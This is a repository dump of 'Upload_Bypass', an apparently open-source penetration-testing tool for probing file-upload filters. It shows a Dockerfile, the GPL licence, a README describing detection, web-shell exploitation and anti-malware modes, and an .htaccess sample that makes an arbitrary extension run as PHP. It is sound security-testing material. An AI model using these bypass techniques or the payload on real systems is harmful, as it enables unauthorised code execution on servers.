├── Dockerfile
├── LICENSE
├── README.md
├── assets
└── samples
│ ├── .htaccess
│ ├── passwd_sample.php
│ ├── polyglot_sample.php
│ ├── polyglot_shell.php
│ ├── sample.asp
│ ├── sample.cfm
│ ├── sample.csv
│ ├── sample.gif
│ ├── sample.jpeg
│ ├── sample.jpg
│ ├── sample.jsp
│ ├── sample.mp3
│ ├── sample.mp4
│ ├── sample.pdf
│ ├── sample.php
│ ├── sample.pl
│ ├── sample.png
│ ├── sample.svg
│ ├── sample.txt
│ ├── sample.xlsx
│ ├── sample.xml
│ ├── svg_xss.svg
│ └── svg_xxe.svg
├── config
└── version.json
├── lib
├── __init__.py
├── alerts.py
├── ansi_colors.py
├── banner.py
├── capitalise_random.py
├── config.py
├── debug.py
├── eicar_checker.py
├── file_parser.py
├── file_upload.py
├── format_detector.py
├── interactive_shell.py
├── list_modules.py
├── modules.py
├── random_string.py
├── results_output.py
├── state.py
└── update.py
├── requirements.txt
├── test_files
├── file_blacklist_extension.php
├── file_blacklist_magicbyte.php
├── file_discrepancy.php
├── file_stripping.php
├── file_whitelist_extension.php
├── file_whitelist_full.php
├── file_whitelist_magicbyte.php
├── file_whitelist_mimetype.php
├── json_upload_api.php
├── no_filter.php
├── svg_xss.php
├── svg_xxe.php
├── uploads
│ └── emptyfile.txt
└── xml_upload_api.php
└── upload_bypass.py
/Dockerfile:
--------------------------------------------------------------------------------
1 | # Use an official Python runtime as a parent image
2 | FROM python:latest
3 |
4 | # Install git, Nano and Vim to clone your repository
5 | RUN apt-get update && apt-get install -y nano vim wget
6 |
7 | # Set the working directory
8 | WORKDIR /Upload_Bypass
9 |
10 | COPY . /Upload_Bypass
11 |
12 | # Install your Python tool dependencies
13 | RUN pip install -r requirements.txt
14 |
15 | RUN chmod +x ./upload_bypass.py
16 |
17 | # Set environment variables for proxy configuration
18 | ENV http_proxy=http://127.0.0.1:8080
19 | ENV https_proxy=http://127.0.0.1:8080
20 |
21 | # Define the command to run your Python tool
22 | ENTRYPOINT ["python3","./upload_bypass.py"]
23 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright © 2007 Free Software Foundation, Inc.
5 |
6 | Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 | The GNU General Public License is a free, copyleft license for software and other kinds of works.
10 |
11 | The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.
12 |
13 | When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
14 |
15 | To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.
16 |
17 | For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
18 |
19 | Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.
20 |
21 | For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.
22 |
23 | Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.
24 |
25 | Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.
26 |
27 | The precise terms and conditions for copying, distribution and modification follow.
28 |
29 | TERMS AND CONDITIONS
30 | 0. Definitions.
31 | “This License” refers to version 3 of the GNU General Public License.
32 |
33 | “Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.
34 |
35 | “The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations.
36 |
37 | To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work.
38 |
39 | A “covered work” means either the unmodified Program or a work based on the Program.
40 |
41 | To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.
42 |
43 | To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.
44 |
45 | An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.
46 |
47 | 1. Source Code.
48 | The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work.
49 |
50 | A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.
51 |
52 | The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.
53 |
54 | The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.
55 |
56 | The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.
57 |
58 | The Corresponding Source for a work in source code form is that same work.
59 |
60 | 2. Basic Permissions.
61 | All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.
62 |
63 | You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.
64 |
65 | Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
66 |
67 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
68 | No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.
69 |
70 | When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.
71 |
72 | 4. Conveying Verbatim Copies.
73 | You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.
74 |
75 | You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.
76 |
77 | 5. Conveying Modified Source Versions.
78 | You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:
79 |
80 | a) The work must carry prominent notices stating that you modified it, and giving a relevant date.
81 | b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”.
82 | c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it.
83 | d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.
84 | A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.
85 |
86 | 6. Conveying Non-Source Forms.
87 | You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:
88 |
89 | a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange.
90 | b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge.
91 | c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b.
92 | d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements.
93 | e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.
94 | A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.
95 |
96 | A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.
97 |
98 | “Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.
99 |
100 | If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).
101 |
102 | The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.
103 |
104 | Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.
105 |
106 | 7. Additional Terms.
107 | “Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.
108 |
109 | When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.
110 |
111 | Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:
112 |
113 | a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or
114 | b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or
115 | c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or
116 | d) Limiting the use for publicity purposes of names of licensors or authors of the material; or
117 | e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or
118 | f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.
119 | All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.
120 |
121 | If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.
122 |
123 | Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.
124 |
125 | 8. Termination.
126 | You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).
127 |
128 | However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
129 |
130 | Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
131 |
132 | Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.
133 |
134 | 9. Acceptance Not Required for Having Copies.
135 | You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.
136 |
137 | 10. Automatic Licensing of Downstream Recipients.
138 | Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.
139 |
140 | An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.
141 |
142 | You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.
143 |
144 | 11. Patents.
145 | A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”.
146 |
147 | A contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.
148 |
149 | Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.
150 |
151 | In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.
152 |
153 | If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.
154 |
155 | If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.
156 |
157 | A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.
158 |
159 | Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.
160 |
161 | 12. No Surrender of Others' Freedom.
162 | If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.
163 |
164 | 13. Use with the GNU Affero General Public License.
165 | Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.
166 |
167 | 14. Revised Versions of this License.
168 | The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
169 |
170 | Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.
171 |
172 | If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.
173 |
174 | Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.
175 |
176 | 15. Disclaimer of Warranty.
177 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
178 |
179 | 16. Limitation of Liability.
180 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
181 |
182 | 17. Interpretation of Sections 15 and 16.
183 | If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.
184 |
185 | END OF TERMS AND CONDITIONS
186 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Upload_Bypass v3
2 |
3 |  
4 |
5 | # About
6 |
7 | **Upload Bypass** is a simple tool designed to assist penetration testers and bug hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
8 |
9 | #### Developed by Sagiv
10 | 
11 |
12 | ### 🚀 Updates
13 | - The code almost written from scratch, utilizes better file parsing and eliminates most of the bugs.
14 | - Modular code! Now you can contribute to the code and add your own modules.
15 | - Introducing 3 different modes, detection, exploitation and anti_malware check, choose your weapon!
16 | - New state feature, you can now pause the code and resume from where you left off!
17 | - New UI for an easy view.
18 | - Docker file for an easy deployment.
19 | - Various test files provided for internal testing.
20 | - Debug mode. If you encounter a bug, you can save the stack trace and share it with me for further analysis.
21 |
22 | ### Attention
23 | This tool is restricted in the OSCP exam!
24 |
25 | # Features
26 | ### Detection Mode:
27 | Suitable for real-world penetration tests. This mode will upload harmless files and will not attempt to exploit the target.
28 |
29 | *New* - If a destination folder for the uploaded files is provided, the program will determine if the uploaded sample file is rendered.
30 | For example, if you chose PHP, the program will try to determine if an echo command is executed and rendered successfully, if it does, it'll suggest to enter an interactive shell.
31 |
32 | ### Exploitation Mode:
33 | Suitable when you want to exploit the target and upload an interactive Web-shell (If a destination upload directory is provided), it will upload the file with a random UUID, so it will be harder for fuzzers to guess.
34 | ### Anti-Malware mode:
35 | Suitable for an Anti-Malware presence test. Upload an Eicar(Anti-Malware test file) to the system, and if the user specifies the location of the uploaded file, the program will check if the file uploaded successfully and exists in the system in order to determine if an Anti-Malware is present on the system.
36 |
37 | # Customisation
38 |
39 | ###
40 | Check out config.py in lib directory, you can add new extensions, mimetypes, magicbytes, configure the use of HTTP/HTTPs protocol and etc'...
41 | ###
42 | To add a new module, simply add a function with your desired functionality to modules.py then add the function by name into the list "active_modules" in config.py
43 | ###
44 | To add a new file extension, add a sample.{ext} file to assets/sample_files, then add the extension and its mimetype/magic bytes to config.py
45 |
46 | # Download:
47 | git clone https://github.com/sAjibuu/Upload_Bypass.git
48 |
49 | # Installation:
50 |
51 | pip install -r requirements.txt
52 |
53 | # Installation from a Docker Hub
54 | sudo docker pull sajibuu/upload_bypass
55 |
56 | # Installation from a local docker file
57 | sudo docker build -t sajibuu/upload_bypass .
58 |
59 | # Docker Usage examples
60 | ### Example without proxy:
61 | sudo docker run -v $(pwd)/request:/Upload_Bypass/{your_request_file} -it sajibuu/upload_bypass -r request -s 'file was uploaded successfully' -E php -e
62 |
63 | ### Example with proxy:
64 | **Make sure to listen to port 8080 on all interfaces!**
65 |
66 | sudo docker run -v $(pwd)/request:/Upload_Bypass/{your_request_file} -it sajibuu/upload_bypass -r request -s 'file was uploaded successfully' -E php -e -p http://{docker_interface_IP}:8080
67 |
68 | # Limitations:
69 | The tool will not function properly with the following:
70 | 1. CAPTCHA implementation is in place.
71 | 2. A requirement for a CSRF token for each request.
72 | 3. A destination folder is provided for the uploaded files, but, the uploaded files are saved with a GUID (Globally Unique Identifier) instead of their actual filenames, the program won't be able to enter interactive shell.
73 |
74 | ## Disclaimer
75 |
76 | **Please note that the use of Upload Bypass and any actions taken with it are solely at your own risk. The tool is provided for educational and testing purposes only. The developer of Upload Bypass is not responsible for any misuse, damage, or illegal activities caused by its usage.**
77 |
78 | # Usage:
79 |
80 | ## ***Attention***
81 |
82 | The program only works with request files generated by proxy tools, such as Burp Suite and ZAP OWASP.
83 |
84 | Before saving the request file from the proxy you are using, for example, Burp Suite, replace the the following parameter values with their coressponding markers:
85 |
86 | **File content:** *\*data\**
87 |
88 | Example: Replace the image binary data with the string *\*data\**
89 |
90 | **Filename:** *\*filename\**
91 |
92 | Example: Replace the filename including its extension with the string *\*filename\**
93 |
94 | **Content-Type header:** *\*mimetype\**.
95 |
96 | Example: Replace the file's content-type (mimetype) with the string *\*mimetype\**
97 |
98 | ### Example 1:
99 |
100 | How it should look like in a JSON request:
101 |
102 | 
103 |
104 | ### Example 2:
105 |
106 | How it should look like in a multi-part data request:
107 |
108 | 
109 |
110 | # User Options:
111 |
112 | ```console
113 |
114 | Usage: Upload Bypass [OPTIONS]
115 |
116 | Options:
117 | -h, --help Print help (see more with '--help')
118 | -U, --usage Print the how to save the request file instructions.
119 | -v, --version Print version
120 |
121 | Required Arguments:
122 | -r, --request_file Provide a request file to be proccessed
123 | -E, --extension Forbidden extension to check (ex: php)
124 | -A, --allowed Allowed extension (ex: jpeg) - Optional - if not set the program will auto-detect the extension
125 |
126 | Choose only one from the options below:
127 | -s, --success Provide a success message when a file is uploaded (ex: File was uploaded successfully)
128 | -f, --failure Provide a failure message when a file is uploaded (ex: File is not allowed!)
129 | -S, --status_code Provide a status code for a success upload (ex: 200)
130 |
131 | Mode Settings:
132 | -d, --detect Upload harmless sample files (Suitable for a real penetration test)
133 | -e, --exploit Upload Web-Shells files when testing
134 | -a, --anti_malware Upload Anti-Malware Test file (Eicar) when testing
135 | I. If set with -E flag the program will test with the Eicar string along with the choosen extension
136 | II. If set without the -E flag the program will test with Eicar string and a com extension
137 |
138 | Modules Settings:
139 | -l, --list List all modules
140 | -i, --include_only Include only modules to test from (ex: extension_shuffle, double_extension)
141 | -x, --exclude Exclude modules (ex: svg_xxe, svg_xss)
142 |
143 | Request Settings:
144 | --base64 Encode the file data with Base64 algorithm
145 | --allow_redirects Follow redirects
146 | -P, --put Use the HTTP PUT method for the requests (Default is POST)
147 | -Pa, --patch Use the HTTP Patch method for the requests (Default is POST)
148 | -R, --response Print the response to the screen
149 | -c, --continue Continue testing all files, even if a few uploads encountered success
150 | -t, --time_out Set the request timeout (Default is 8)
151 | -rl, --rate_limit Set a rate-limit with a delay in milliseconds between each request
152 |
153 | Proxy Settings:
154 | -p, --proxy Proxy to use for requests (ex: http(s)://host:port, socks5(h)://host:port)
155 | -k, --insecure Do not verify SSL certificates
156 | --burp_http Set --proxy to 127.0.0.1:8080 and set --insecure to true (For HTTP requests)
157 | --burp_https Set --proxy to 127.0.0.1:8080 and set --insecure to false (For HTTPs requests)
158 |
159 | Optional Settings:
160 | -D, --upload_dir Provide a remote path where the Web-Shell should be uploaded (ex: /uploads)
161 | -o, --output Output file to write the results into - Default current directory (ex: ~/Desktop/results.txt)
162 | --debug Debug mode - Print the stack trace error to the screen and save it to a file (ex: --debug 1)
163 | I. Level 1 - Saves only the stack trace error (default).
164 | II. Level 2 - Saves the stack trace error and user's arguments along with the request file.
165 |
166 | Resume settings:
167 | --resume State file from which to resume a partially complete scan
168 |
169 | Update settings:
170 | -u, --update Update the program to the latest version
171 | ```
172 |
173 | # Examples
174 | ### Detection mode
175 | python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --detect
176 | ### Exploitation mode
177 | python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --exploit
178 | ### Anti_Malware mode
179 | python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --anti_malware
180 |
181 | # Issues
182 | If you encounter an issue, please use the debug mode with a flag value of 2 and share it with me (the debug file is saved with the user supplied arguments, the provided request file, and the stack-trace error). If the file contains sensitive information, you can use flag value of 1, which only saves the stack-trace error to the file.
183 |
184 | # Contribution
185 | If you want to contribute to my code, please specify exactly what you added to the code and why, and make sure you perform multiple tests before submitting the merge request.
186 |
187 | # Credits
188 | - Hacktricks - Special thanks for providing valuable techniques and insights used in this tool.
189 | - Artemixer - Thank you for inspiring me with your lighter version of my tool to rewrite the entire code and make it modular!
190 |
--------------------------------------------------------------------------------
/assets/samples/.htaccess:
--------------------------------------------------------------------------------
1 | AddType application/x-httpd-php .arbit
--------------------------------------------------------------------------------
/assets/samples/passwd_sample.php:
